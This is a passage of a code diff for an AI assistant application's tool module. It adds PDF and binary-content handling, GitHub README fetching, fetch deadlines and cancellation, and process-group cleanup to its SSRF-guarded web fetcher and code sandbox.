@@ -1346,10 +3597,118 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
 
 
 _MAX_PAGE_CHARS = 16000  # cap fetched page text (after HTML-to-MD conversion)
-# Raw download cap > _MAX_PAGE_CHARS because SSR pages embed large <head>
-# sections stripped during conversion; 512 KB reaches article content even
-# where <head> alone is ~200 KB.
+# Raw download cap > _MAX_PAGE_CHARS since SSR pages embed large <head> sections
+# stripped during conversion; 512 KB still reaches article content.
 _MAX_FETCH_BYTES = 512 * 1024
+# PDF cross-reference data lives at EOF, so extraction needs the whole body.
+_MAX_PDF_FETCH_BYTES = 10 * 1024 * 1024
+_MAX_WEB_PDF_PAGES = 50
+# Control/undecodable chars, excluding text whitespace and ESC (for ANSI logs).
+# Binary when they exceed 12.5%, after allowing 16 minor encoding glitches.
+_BINARY_CHAR_RE = re.compile("[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1a\\x1c-\\x1f\\x7f-\\x9f\\ufffd]")
+_MIN_BINARY_CHARS = 16
+_BINARY_CHAR_DIVISOR = 8
+# Common binary signatures that can otherwise look text-heavy when mislabeled.
+_PDF_MAGIC = b"%PDF-"
+_BINARY_MAGIC = (
+    _PDF_MAGIC,
+    b"PK\x03\x04",  # zip / docx / xlsx / pptx / epub / jar
+    b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1",  # OLE / legacy Office
+    b"\x89PNG\r\n\x1a\n",  # PNG
+    b"\xff\xd8\xff",  # JPEG
+    b"GIF87a",
+    b"GIF89a",
+    b"\x1f\x8b",  # gzip
+    b"BZh",  # bzip2
+    b"\xfd7zXZ\x00",  # xz
+    b"\x28\xb5\x2f\xfd",  # zstd
+)
+
+# Check UTF-32 first because its little-endian BOM starts with the UTF-16 BOM.
+_UNICODE_BOM_CODECS = (
+    (codecs.BOM_UTF32_LE, "utf-32"),
+    (codecs.BOM_UTF32_BE, "utf-32"),
+    (codecs.BOM_UTF16_LE, "utf-16"),
+    (codecs.BOM_UTF16_BE, "utf-16"),
+    (codecs.BOM_UTF8, "utf-8-sig"),
+)
+
+# A cp1252 retry needs 75% ASCII structure so it cannot rescue high-byte binary.
+_MIN_SINGLE_BYTE_ASCII_RATIO = 3 / 4
+_ASCII_TEXT_BYTES = frozenset((*range(0x20, 0x7F), 0x09, 0x0A, 0x0D, 0x1B))
+
+
+def _looks_binary(text: str) -> bool:
+    """Whether control or undecodable characters exceed the binary threshold."""
+    return len(_BINARY_CHAR_RE.findall(text)) > max(
+        _MIN_BINARY_CHARS, len(text) // _BINARY_CHAR_DIVISOR
+    )
+
+
+def _magic_head(data: bytes) -> bytes:
+    head = data[:1024].lstrip()
+    for bom, _codec in _UNICODE_BOM_CODECS:
+        if head.startswith(bom):
+            head = head.removeprefix(bom).lstrip()
+            break
+    return head
+
+
+def _has_pdf_magic(data: bytes) -> bool:
+    return _magic_head(data).startswith(_PDF_MAGIC)
+
+
+def _has_binary_magic(data: bytes) -> bool:
+    """Whether a common binary signature follows optional BOM or whitespace."""
+    return _magic_head(data).startswith(_BINARY_MAGIC)
+
+
+def _has_single_byte_text_evidence(data: bytes) -> bool:
+    """True when *data* has enough ASCII structure for a cp1252 text retry."""
+    if not data:
+        return True
+    ascii_text_bytes = sum(byte in _ASCII_TEXT_BYTES for byte in data)
+    return ascii_text_bytes / len(data) >= _MIN_SINGLE_BYTE_ASCII_RATIO
+
+
+def _extract_pdf_text(data: bytes) -> str:
+    """Extract page-delimited text with the same parser used by RAG ingestion."""
+    from ..rag.parsers import parse_pdf_bytes
+
+    pages, total_pages = parse_pdf_bytes(data, max_pages = _MAX_WEB_PDF_PAGES)
+    page_limit_reached = total_pages > _MAX_WEB_PDF_PAGES
+    parts: list[str] = []
+    length = 0
+    text_limited = False
+    for page in pages:
+        page_text = page.text.strip()
+        if not page_text:
+            continue
+        section = f"## Page {page.page_number}\n\n{page_text}"
+        piece = ("\n\n" if parts else "") + section
+        remaining = _MAX_PAGE_CHARS - length
+        if len(piece) > remaining:
+            parts.append(piece[:remaining])
+            text_limited = True
+            break
+        parts.append(piece)
+        length += len(piece)
+
+    text = "".join(parts).rstrip()
+    if not text:
+        if page_limit_reached:
+            return f"(PDF contains no extractable text in the first {_MAX_WEB_PDF_PAGES} pages)"
+        return ""
+    limits = []
+    if text_limited:
+        limits.append(f"text limited to {_MAX_PAGE_CHARS:,} characters")
+    if page_limit_reached:
+        limits.append(f"page processing capped at {_MAX_WEB_PDF_PAGES} pages")
+    if limits:
+        marker = f"\n\n... (PDF extraction {'; '.join(limits)})"
+        text = text[: _MAX_PAGE_CHARS - len(marker)].rstrip() + marker
+    return text
+
 
 _USER_AGENTS = (
     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
@@ -1431,10 +3790,8 @@ def _validate_and_resolve_host(hostname: str, port: int) -> tuple[bool, str, str
 
     for *_, sockaddr in infos:
         ip = ipaddress.ip_address(sockaddr[0])
-        # `not ip.is_global` is the source of truth: it rejects every category
-        # below PLUS shared/CGNAT (100.64.0.0/10) and benchmarking/doc ranges
-        # Python marks is_private=False and is_global=False. The explicit
-        # predicates only give human-readable categories in the error message.
+        # `not ip.is_global` is the source of truth (also rejects CGNAT and
+        # benchmarking/doc ranges); the explicit predicates only label the error.
         if (
             not ip.is_global
             or ip.is_private
@@ -1451,28 +3808,244 @@ def _validate_and_resolve_host(hostname: str, port: int) -> tuple[bool, str, str
     return True, "", first_ip
 
 
-def _fetch_page_text(
-    url: str,
-    max_chars: int = _MAX_PAGE_CHARS,
-    timeout: int = 30,
-) -> str:
-    """Fetch a URL and return plain text content (HTML tags stripped).
+# Binary application subtypes rejected by MIME; other application types are
+# sniffed so textual artifacts such as SQL stay usable.
+_BINARY_APPLICATION_SUBTYPES = frozenset(
+    {
+        "epub+zip",
+        "gzip",
+        "java-archive",
+        "pdf",
+        "vnd.apple.installer+xml",
+        "wasm",
+        "x-7z-compressed",
+        "x-bzip2",
+        "x-gzip",
+        "x-rar-compressed",
+        "x-tar",
+        "x-xz",
+        "zip",
+        "zstd",
+    }
+)
 
-    Blocks private/loopback/link-local targets (SSRF protection) and caps
-    the download size to avoid unbounded memory usage.
+
+def _is_text_candidate_content_type(content_type: str | None) -> bool:
+    """Whether a MIME type is textual or ambiguous enough for byte sniffing."""
+    match = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
+    if not match:
+        return True
+    ct = match.group(0).lower()
+    if ct.startswith("text/"):
+        return True
+    if ct.startswith("application/"):
+        subtype = ct[len("application/") :]
+        return subtype not in _BINARY_APPLICATION_SUBTYPES
+    return False
+
+
+# First path segments on github.com that are site pages, not repo owners.
+_GITHUB_NON_OWNER_SEGMENTS = frozenset(
+    {
+        "about",
+        "apps",
+        "codespaces",
+        "collections",
+        "contact",
+        "customer-stories",
+        "dashboard",
+        "discussions",
+        "enterprise",
+        "explore",
+        "features",
+        "issues",
+        "join",
+        "login",
+        "marketplace",
+        "new",
+        "notifications",
+        "organizations",
+        "orgs",
+        "pricing",
+        "pulls",
+        "search",
+        "security",
+        "settings",
+        "signup",
+        "site",
+        "sponsors",
+        "team",
+        "topics",
+        "trending",
+    }
+)
+_GITHUB_NAME_RE = re.compile(r"\A[A-Za-z0-9_.\-]{1,100}\Z")
+
+
+def _github_repo_readme_api_url(url: str) -> str | None:
+    """README API URL for a ``github.com/{owner}/{repo}`` page, else None.
+
+    A repo root page rendered as HTML is mostly UI chrome (nav, file table,
+    stats); the ``/readme`` API returns the raw README markdown unauthenticated,
+    which is what the model actually wants to read.
+    """
+    from urllib.parse import urlparse
+
+    parsed = urlparse(url)
+    host = (parsed.hostname or "").lower()
+    if host not in ("github.com", "www.github.com"):
+        return None
+    parts = [p for p in parsed.path.split("/") if p]
+    if len(parts) != 2:
+        return None
+    owner, repo = parts
+    if owner.lower() in _GITHUB_NON_OWNER_SEGMENTS:
+        return None
+    if repo.endswith(".git"):
+        repo = repo[: -len(".git")]
+    if not (_GITHUB_NAME_RE.match(owner) and _GITHUB_NAME_RE.match(repo)):
+        return None
+    return f"https://api.github.com/repos/{owner}/{repo}/readme"
+
+
+# A single fetch can chain several steps (README API attempt, HTML fallback, up
+# to five redirect hops, each reading a body). A per-operation socket timeout
+# bounds one stalled step but not their sum, and nothing aborts on client
+# disconnect, so one overall wall-clock deadline (plus a cooperative
+# cancel_event) bounds the whole fetch instead.
+def _fetch_budget_exceeded(deadline, cancel_event):
+    """User-facing error string when the fetch must stop early, else None."""
+    if cancel_event is not None and cancel_event.is_set():
+        return "Failed to fetch URL: cancelled."
+    if deadline is not None and time.monotonic() >= deadline:
+        return "Failed to fetch URL: timed out."
+    return None
+
+
+def _fetch_hop_timeout(timeout, deadline):
+    """Per-operation socket timeout: the lesser of the caller's per-op timeout
+    and the time left on the deadline, so one slow hop cannot overrun the whole
+    budget. Callers check ``_fetch_budget_exceeded`` first, so remaining time is
+    positive here; the tiny floor only guards a race."""
+    if deadline is None:
+        return timeout
+    remaining = deadline - time.monotonic()
+    if remaining <= 0:
+        remaining = 0.001
+    return remaining if timeout is None else min(timeout, remaining)
+
+
+def _resolve_with_budget(hostname, port, deadline, cancel_event):
+    """``_validate_and_resolve_host`` bounded by the overall fetch budget.
+
+    ``getaddrinfo`` is blocking with no deadline of its own, so a slow resolver
+    (or a request cancelled before dispatch) could run past the budget. Resolve
+    on a daemon thread and poll the budget so the fetch aborts on time; the
+    abandoned lookup is discarded. With no deadline and no cancel_event this is a
+    plain synchronous call, so opt-out callers keep the old behavior and cost.
+    """
+    budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+    if budget_error is not None:
+        return False, budget_error, ""
+    if deadline is None and cancel_event is None:
+        return _validate_and_resolve_host(hostname, port)
+
+    result: "queue.Queue" = queue.Queue(maxsize = 1)
+
+    def _resolve():
+        try:
+            result.put(_validate_and_resolve_host(hostname, port))
+        except Exception as exc:  # defensive: never let the worker die silently
+            result.put((False, f"Failed to resolve host: {exc}", ""))
+
+    threading.Thread(target = _resolve, name = "web-fetch-dns", daemon = True).start()
+    while True:
+        budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+        if budget_error is not None:
+            return False, budget_error, ""
+        try:
+            return result.get(timeout = 0.05)
+        except queue.Empty:
+            continue
+
+
+def _read_capped_body(resp, max_bytes, timeout, deadline, cancel_event):
+    """Read up to ``max_bytes``, enforcing the overall budget between chunks.
+
+    A single ``resp.read(max_bytes)`` can block for the whole transfer if the
+    server dribbles bytes just inside each socket-inactivity timeout, so the body
+    is read in chunks with the budget re-checked (and the socket timeout
+    re-tightened toward the deadline) each round. The joined bytes are identical
+    to one capped read. Returns ``(error_or_None, body_bytes)``.
+    """
+    # Best-effort handle on the underlying socket so its timeout tightens as the
+    # deadline nears; absent on test doubles, where the between-chunk budget
+    # check still bounds the read.
+    sock = getattr(getattr(getattr(resp, "fp", None), "raw", None), "_sock", None)
+    chunks = []
+    remaining = max_bytes
+    while remaining > 0:
+        budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+        if budget_error is not None:
+            try:
+                resp.close()
+            except Exception:
+                pass
+            return budget_error, b""
+        if sock is not None:
+            try:
+                sock.settimeout(_fetch_hop_timeout(timeout, deadline))
+            except Exception:
+                pass
+        chunk = resp.read(min(65536, remaining))
+        if not chunk:
+            break
+        chunks.append(chunk)
+        remaining -= len(chunk)
+    budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+    if budget_error is not None:
+        try:
+            resp.close()
+        except Exception:
+            pass
+        return budget_error, b""
+    return None, b"".join(chunks)
+
+
+def _fetch_url_raw(
+    url: str,
+    timeout: int = 30,
+    extra_headers: dict | None = None,
+    deadline: float | None = None,
+    cancel_event = None,
+) -> tuple[str | None, str, str]:
+    """Fetch a URL with SSRF protection; return ``(error, body_text, content_type)``.
+
+    ``error`` is a user-facing message string when the fetch failed (the
+    existing "Blocked:" / "Failed to fetch URL:" wording), else ``None``.
+    Blocks private/loopback/link-local targets and caps the download size.
+
+    ``deadline`` is an optional ``time.monotonic`` cutoff for the whole fetch
+    (redirect hops and body read included) and ``cancel_event`` aborts it when
+    the caller goes away; both default off so callers keep the old behavior.
     """
     from urllib.parse import urlparse
 
     parsed = urlparse(url)
     if parsed.scheme not in ("http", "https"):
-        return f"Blocked: only http/https URLs are allowed (got {parsed.scheme!r})."
+        return f"Blocked: only http/https URLs are allowed (got {parsed.scheme!r}).", "", ""
     if not parsed.hostname:
-        return "Blocked: URL is missing a hostname."
+        return "Blocked: URL is missing a hostname.", "", ""
 
     port = parsed.port or (443 if parsed.scheme == "https" else 80)
-    ok, reason, pinned_ip = _validate_and_resolve_host(parsed.hostname, port)
+    ok, reason, pinned_ip = _resolve_with_budget(
+        parsed.hostname,
+        port,
+        deadline,
+        cancel_event,
+    )
     if not ok:
-        return reason
+        return reason, "", ""
 
     try:
         from urllib.error import HTTPError as _HTTPError
@@ -1484,6 +4057,9 @@ def _fetch_page_text(
         ua = random.choice(_USER_AGENTS)
 
         for _hop in range(5):
+            budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+            if budget_error is not None:
+                return budget_error, "", ""
             # Pin to the validated IP (prevents DNS rebinding): rewrite URL to
             # the IP, set the Host header.
             cp = urlparse(current_url)
@@ -1497,57 +4073,294 @@ def _fetch_page_text(
                 _SNIHTTPSHandler(current_host),
             )
 
-            req = urllib.request.Request(
-                pinned_url,
-                headers = {
-                    "User-Agent": ua,
-                    "Host": current_host,
-                },
-            )
+            headers = {
+                "User-Agent": ua,
+                "Host": current_host,
+            }
+            if extra_headers:
+                headers.update(extra_headers)
+            req = urllib.request.Request(pinned_url, headers = headers)
             try:
-                resp = opener.open(req, timeout = timeout)
+                # Cap the socket timeout at the time left on the overall deadline
+                # so a single slow hop cannot outlast the whole fetch budget.
+                resp = opener.open(req, timeout = _fetch_hop_timeout(timeout, deadline))
             except _HTTPError as e:
                 if e.code not in (301, 302, 303, 307, 308):
-                    return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}"
+                    return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
                 location = e.headers.get("Location")
                 if not location:
-                    return "Failed to fetch URL: redirect missing Location header."
+                    return "Failed to fetch URL: redirect missing Location header.", "", ""
                 current_url = urljoin(current_url, location)
                 rp = urlparse(current_url)
                 if rp.scheme not in ("http", "https") or not rp.hostname:
-                    return "Blocked: redirect target is not a valid http/https URL."
+                    return "Blocked: redirect target is not a valid http/https URL.", "", ""
                 rp_port = rp.port or (443 if rp.scheme == "https" else 80)
-                ok2, reason2, pinned_ip = _validate_and_resolve_host(
+                ok2, reason2, pinned_ip = _resolve_with_budget(
                     rp.hostname,
                     rp_port,
+                    deadline,
+                    cancel_event,
                 )
                 if not ok2:
-                    return reason2
+                    return reason2, "", ""
                 current_host = rp.hostname
                 continue
-            # Success: read capped body.
-            raw_bytes = resp.read(max_bytes)
+
+            # get_content_type() defaults to "text/plain" when the header is
+            # absent (RFC 2045); report "" instead so callers can tell a missing
+            # header apart from a server that really declared text/plain.
+            if resp.headers.get("Content-Type") is None:
+                content_type = ""
+            else:
+                content_type = (resp.headers.get_content_type() or "").lower()
+
+            # Success: read the capped body enforcing the budget between chunks
+            # (see _read_capped_body), so a slow-drip server can't stretch a
+            # single resp.read past the deadline.
+            declared_pdf = content_type == "application/pdf"
+            read_limit = _MAX_PDF_FETCH_BYTES + 1 if declared_pdf else max_bytes
+            body_error, raw_bytes = _read_capped_body(
+                resp,
+                read_limit,
+                timeout,
+                deadline,
+                cancel_event,
+            )
+            if body_error is not None:
+                return body_error, "", ""
+
+            # A missing or wrong PDF MIME type is common: once the initial text-sized
+            # read identifies PDF magic, finish the bounded download to reach the EOF xref.
+            if not declared_pdf and len(raw_bytes) == max_bytes and _has_pdf_magic(raw_bytes):
+                tail_error, tail = _read_capped_body(
+                    resp,
+                    _MAX_PDF_FETCH_BYTES - max_bytes + 1,
+                    timeout,
+                    deadline,
+                    cancel_event,
+                )
+                if tail_error is not None:
+                    return tail_error, "", ""
+                raw_bytes += tail
             break
         else:
-            return "Failed to fetch URL: too many redirects."
+            return "Failed to fetch URL: too many redirects.", "", ""
 
-        charset = resp.headers.get_content_charset() or "utf-8"
-        raw_html = raw_bytes.decode(charset, errors = "replace")
+        is_pdf = declared_pdf or _has_pdf_magic(raw_bytes)
+        if is_pdf:
+            if len(raw_bytes) > _MAX_PDF_FETCH_BYTES:
+                return (
+                    "(PDF content exceeds the download limit; not readable as text)",
+                    "",
+                    content_type,
+                )
+            budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+            if budget_error is not None:
+                return budget_error, "", content_type
+            try:
+                pdf_text = _extract_pdf_text(raw_bytes)
+            except Exception as exc:
+                logger.debug("web PDF text extraction failed (%s)", type(exc).__name__)
+                return "(PDF content could not be read as text)", "", content_type
+            budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+            if budget_error is not None:
+                return budget_error, "", content_type
+            if not pdf_text:
+                pdf_text = "(PDF contains no extractable text)"
+            # Report the true type even for a mislabeled body so the caller's "html"
+            # check routes the extracted text to the plain-text path, not html_to_markdown.
+            return None, pdf_text, "application/pdf"
+
+        # Reject known-binary MIME types before decoding. Binary is returned as the
+        # error string so the caller surfaces the placeholder, not replacement chars.
+        if not _is_text_candidate_content_type(content_type):
+            # Only echo a clean MIME token back to the model.
+            m = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
+            safe_type = m.group(0) if m else "unknown type"
+            return (
+                f"(non-text content: {safe_type}, {len(raw_bytes)} bytes; not readable as text)",
+                "",
+                content_type,
+            )
+
+        # Catch text-labeled binary via its magic signature.
+        if _has_binary_magic(raw_bytes):
+            return (
+                f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
+                "",
+                content_type,
+            )
+
+        declared = resp.headers.get_content_charset()
+        declared_codec = codecs.lookup(declared).name if declared else None
+        bom_codec = next(
+            (codec for bom, codec in _UNICODE_BOM_CODECS if raw_bytes.startswith(bom)),
+            None,
+        )
+        raw_html = raw_bytes.decode(declared or bom_codec or "utf-8", errors = "replace")
+
+        # Catch mislabeled or unlabeled binary, including valid UTF-8 controls.
+        if _looks_binary(raw_html):
+            # Rescue undeclared cp1252 only when the bytes have text structure.
+            alt = (
+                raw_bytes.decode("cp1252", "replace")
+                if declared_codec in (None, "iso8859-1")
+                and _has_single_byte_text_evidence(raw_bytes)
+                else None
+            )
+            if alt is not None and not _looks_binary(alt):
+                raw_html = alt
+            else:
+                return (
+                    f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
+                    "",
+                    content_type,
+                )
+
+        return None, raw_html, content_type
     except _HTTPError as e:
-        return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}"
+        return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
     except Exception as e:
-        return f"Failed to fetch URL: {e}"
+        return f"Failed to fetch URL: {e}", "", ""
+
+
+# Tags that, at the very START of a body, mark it as HTML. Excludes ambiguous
+# tags (<div>/<p>/<span>/<a>/<img>/<h1>..<h6>/<table>) that legitimately open
+# centered-logo or badge-layout Markdown READMEs and must stay Markdown.
+_HTML_LEADING_TAGS = (
+    "html",
+    "head",
+    "body",
+    "title",
+    "meta",
+    "link",
+    "script",
+    "style",
+    "article",
+    "section",
+    "main",
+    "header",
+    "footer",
+    "nav",
+    "aside",
+    "figure",
+    "form",
+    "ul",
+    "ol",
+    "dl",
+    "pre",
+    "blockquote",
+)
+_HTML_LEADING_RE = re.compile(r"<(?:!doctype\s+html|/?(?:" + "|".join(_HTML_LEADING_TAGS) + r")\b)")
+
+
+def _looks_like_html(body: str) -> bool:
+    """True only when the document ITSELF opens with HTML.
+
+    Matches an HTML doctype or a leading document/structure tag after optional
+    whitespace, not a mere substring, so a Markdown README with a fenced HTML
+    example or tags further down stays Markdown. Also detects bare fragments
+    (``<body>``/``<article>``/...) with no doctype, so a page with a
+    missing/wrong Content-Type is still converted.
+    """
+    probe = body.lstrip()[:256].lower()
+    return bool(_HTML_LEADING_RE.match(probe))
+
+
+# Stricter than _HTML_LEADING_RE: only a real document opener (doctype or leading
+# <html>/<head>/<body>), never a block tag a Markdown file can open with. Used on
+# the raw GitHub README body so a Markdown README starting with an HTML block is
+# not run through html_to_markdown, which would collapse its headings, lists and
+# fenced code onto one line.
+_HTML_DOCUMENT_RE = re.compile(r"<(?:!doctype\s+html\b|/?(?:html|head|body)\b)")
+
+
+def _looks_like_html_document(body: str) -> bool:
+    """True only when the body opens as a full HTML document (e.g. a .html README)."""
+    probe = body.lstrip()[:256].lower()
+    return bool(_HTML_DOCUMENT_RE.match(probe))
+
+
+def _truncate_page_text(text: str, max_chars: int) -> str:
+    if not text:
+        return "(page returned no readable text)"
+    if len(text) > max_chars:
+        return text[:max_chars] + f"\n\n... (truncated, {len(text)} chars total)"
+    return text
+
+
+def _fetch_page_text(
+    url: str,
+    max_chars: int = _MAX_PAGE_CHARS,
+    timeout: int = 30,
+    cancel_event = None,
+) -> str:
+    """Fetch a URL and return readable text content.
+
+    HTML responses are converted to Markdown with a main-content heuristic
+    (``<article>``/``<main>`` scoping, hidden-element and boilerplate
+    stripping); non-HTML text responses are returned as-is. GitHub repo root
+    pages are rewritten to the README API so the model reads the README
+    instead of the repo page's UI chrome. Blocks private/loopback/link-local
+    targets (SSRF protection) and caps the download size.
+    """
+    # One wall-clock budget for the whole fetch. The README API attempt and its
+    # HTML fallback both draw from it, so a slow/failed API call cannot hand the
+    # fallback a fresh full timeout and double the worst case.
+    deadline = None if timeout is None else time.monotonic() + timeout
+    readme_api_url = _github_repo_readme_api_url(url)
+    if readme_api_url:
+        err, body, _ctype = _fetch_url_raw(
+            readme_api_url,
+            timeout = timeout,
+            extra_headers = {
+                "Accept": "application/vnd.github.raw+json",
+                "X-GitHub-Api-Version": "2022-11-28",
+            },
+            deadline = deadline,
+            cancel_event = cancel_event,
+        )
+        # The README API is unauthenticated and rate-limited; on any failure fall
+        # back to the HTML page fetch. A 200 body is authoritative even when it is
+        # HTML (a .html README): convert it rather than falling back to the repo
+        # page's UI chrome, keeping the raw body if extraction yields nothing.
+        if err is None and body.strip():
+            readme_body = body
+            # The raw file is almost always Markdown. Only a real HTML document (a
+            # .html README) is converted; a Markdown README that merely opens with
+            # a block tag is kept as-is (see _HTML_DOCUMENT_RE).
+            if _looks_like_html_document(body):
+                from ._html_to_md import html_to_markdown
+                converted = html_to_markdown(body, main_content = True)
+                readme_body = converted if converted.strip() else body
+            if readme_body.strip():
+                return _truncate_page_text(
+                    f"README of {url} (fetched via the GitHub README API):\n\n" + readme_body,
+                    max_chars,
+                )
+
+    err, body, content_type = _fetch_url_raw(
+        url,
+        timeout = timeout,
+        deadline = deadline,
+        cancel_event = cancel_event,
+    )
+    if err is not None:
+        return err
+
+    # Trust a declared HTML type, and otherwise sniff the body: servers with a
+    # missing or wrong Content-Type (e.g. text/plain on an HTML page) still get
+    # converted, matching the pre-extraction behavior of always converting.
+    is_html = "html" in content_type or _looks_like_html(body)
+    if not is_html:
+        # Plain text / markdown / JSON (e.g. raw.githubusercontent.com):
+        # converting through the HTML renderer would collapse its whitespace.
+        return _truncate_page_text(body.strip(), max_chars)
 
     # Convert HTML to Markdown with the builtin converter (no external deps).
     from ._html_to_md import html_to_markdown
 
-    text = html_to_markdown(raw_html)
-
-    if not text:
-        return "(page returned no readable text)"
-    if len(text) > max_chars:
-        text = text[:max_chars] + f"\n\n... (truncated, {len(text)} chars total)"
-    return text
+    return _truncate_page_text(html_to_markdown(body, main_content = True), max_chars)
 
 
 def _web_search(
@@ -1555,6 +4368,7 @@ def _web_search(
     max_results: int = 5,
     timeout: int = _EXEC_TIMEOUT,
     url: str | None = None,
+    cancel_event = None,
 ) -> str:
     """Search the web using DuckDuckGo and return formatted results.
 
@@ -1563,14 +4377,25 @@ def _web_search(
     # Direct URL fetch mode.
     if url and url.strip():
         fetch_timeout = 60 if timeout is None else min(timeout, 60)
-        return _fetch_page_text(url.strip(), timeout = fetch_timeout)
+        return _fetch_page_text(
+            url.strip(),
+            timeout = fetch_timeout,
+            cancel_event = cancel_event,
+        )
 
     if not query or not query.strip():
         return "No query provided."
+    # A disconnect sets cancel_event; DDGS.text() is blocking and cannot be
+    # interrupted mid-flight, so gate on either side: skip an already-cancelled
+    # request, and discard results that land after the client has gone.
+    if cancel_event is not None and cancel_event.is_set():
+        return "Search cancelled."
     try:
         from ddgs import DDGS
 
         results = DDGS(timeout = timeout).text(query, max_results = max_results)
+        if cancel_event is not None and cancel_event.is_set():
+            return "Search cancelled."
         if not results:
             return "No results found."
         parts = []
@@ -2568,19 +5393,37 @@ def _check_code_safety(code: str) -> str | None:
     return None
 
 
+def _capture_process_group(proc):
+    """Return the setsid process-group id, or ``None`` when unavailable.
+
+    Captured right after ``Popen`` so a later ``poll()`` / ``wait()`` that reaps
+    the leader cannot make ``os.getpgid(proc.pid)`` fail first. POSIX-only:
+    Windows has no process groups (and no ``os.getpgid``), so return ``None``
+    there and let the single-pid ``proc.kill()`` fallback handle cleanup.
+    """
+    if os.name != "posix" or not hasattr(os, "getpgid"):
+        return None
+    try:
+        return os.getpgid(proc.pid)
+    except (AttributeError, ProcessLookupError, PermissionError, OSError):
+        return None
+
+
 def _kill_process_tree(proc) -> None:
     """SIGKILL the setsid process group; fall back to single-pid kill."""
     if proc.poll() is not None:
         return
-    try:
-        pgid = os.getpgid(proc.pid)
-    except (ProcessLookupError, PermissionError):
-        pgid = None
-    if pgid is not None:
+    pgid = None
+    if hasattr(os, "getpgid"):
+        try:
+            pgid = os.getpgid(proc.pid)
+        except (ProcessLookupError, PermissionError, OSError):
+            pgid = None
+    if pgid is not None and hasattr(os, "killpg"):
         try:
             os.killpg(pgid, signal.SIGKILL)
             return
-        except (ProcessLookupError, PermissionError):
+        except (ProcessLookupError, PermissionError, OSError):
             pass
     try:
         proc.kill()
@@ -2588,36 +5431,250 @@ def _kill_process_tree(proc) -> None:
         pass
 
 
+def _killpg_captured(pgid) -> None:
+    """SIGKILL a process group captured before its leader was waited on.
+
+    Once ``proc`` exits, ``os.getpgid(proc.pid)`` fails and ``_kill_process_tree``
+    short-circuits, so a stdout-holding grandchild that outlived the parent could
+    not otherwise be signaled. The pre-captured setsid group id still targets the
+    whole tree. No-op with no ``os.killpg`` (Windows) or nothing captured.
+    """
+    if pgid is None or not hasattr(os, "killpg"):
+        return
+    try:
+        os.killpg(pgid, signal.SIGKILL)
+    except (ProcessLookupError, PermissionError, OSError):
+        pass
+
+
 def _cancel_watcher(
     proc,
     cancel_event,
     poll_interval = 0.2,
+    pgid = None,
 ):
-    """Daemon thread that kills a process when cancel_event is set."""
+    """Daemon thread that kills a process when cancel_event is set.
+
+    ``pgid`` is the group id captured right after spawn; killing it directly
+    reaps a stdout-holding grandchild even when the watcher's own ``poll()``
+    already reaped the leader (which makes ``_kill_process_tree`` short-circuit).
+    """
     while proc.poll() is None:
         if cancel_event is not None and cancel_event.is_set():
+            _killpg_captured(pgid)
             _kill_process_tree(proc)
             return
         cancel_event.wait(poll_interval) if cancel_event else None
 
 
 def _truncate(text: str, limit: int = _MAX_OUTPUT_CHARS) -> str:
+    # Mode-neutral notice: this result serves both the streaming UI and
+    # non-streaming callers and must stay byte-identical with and without an
+    # output_callback (a regression-tested invariant), so it can't claim the
+    # user saw the full output.
     if len(text) > limit:
-        return text[:limit] + f"\n\n... (truncated, {len(text)} chars total)"
+        return text[:limit] + (
+            f"\n\n... (truncated to {limit} chars for the model; {len(text)} chars "
+            "total. The full output is not retained here; any files the code wrote "
+            "persist in the working directory.)"
+        )
     return text
 
 
+# ChatGPT code-interpreter path conventions models write out of habit; none
+# exist in the Studio sandbox, so a failure on one earns the retry hint.
+_MISSING_PATH_PREFIXES = (
+    "/mnt/data",
+    "/mnt/outputs",
+    "/home/sandbox",
+    "/workspace",
+    "/tmp/outputs",
+)
+
+# Matches the quoted path in a Python OSError str and the bare path in a bash
+# "No such file or directory" error; applied only to the error line.
+_QUOTED_ABS_PATH_RE = re.compile(r"""['"](/[^'"\n]+)['"]""")
+_BASH_ABS_PATH_RE = re.compile(r"(/[^\s:'\"]+):\s*No such file or directory")
+
+# The sandbox CWD is a per-thread dir under ~/studio_sandbox; an absolute path
+# under it is a genuine local miss, not a hallucinated out-of-sandbox write.
+_SANDBOX_ROOT = os.path.join(os.path.expanduser("~"), "studio_sandbox")
+
+
+def _missing_error_lines(output: str) -> list[str]:
+    """The lines that actually name a missing file (a FileNotFoundError message
+    or a bash "No such file or directory"). Traceback frame lines such as
+    ``File "/workspace/proj/script.py"`` are excluded, so an unrelated absolute
+    path mentioned elsewhere in the output is never treated as the failing one."""
+    return [
+        line
+        for line in output.splitlines()
+        if "No such file or directory" in line or "FileNotFoundError" in line
+    ]
+
+
+def _extract_missing_abs_path(output: str) -> str | None:
+    """Pull the absolute path a FileNotFoundError / bash error named, if any."""
+    for line in reversed(_missing_error_lines(output)):
+        m = _QUOTED_ABS_PATH_RE.search(line)
+        if m:
+            return m.group(1)
+        m = _BASH_ABS_PATH_RE.search(line)
+        if m:
+            return m.group(1)
+    return None
+
+
+def _is_outside_workdir(abs_path: str, workdir: str | None = None) -> bool:
+    """True when ``abs_path`` is not the working directory or under it.
+
+    ``workdir`` is the executor's actual working directory (defaults to the
+    sandbox root). Project-backed sessions run under a root OUTSIDE
+    ``~/studio_sandbox`` (see ``_get_workdir``), so a legitimate miss inside a
+    project must be judged against the real workdir, not a static sandbox root,
+    or it is wrongly classed as an external habit path.
+    """
+    try:
+        root = os.path.realpath(workdir or _SANDBOX_ROOT)
+        rp = os.path.realpath(abs_path)
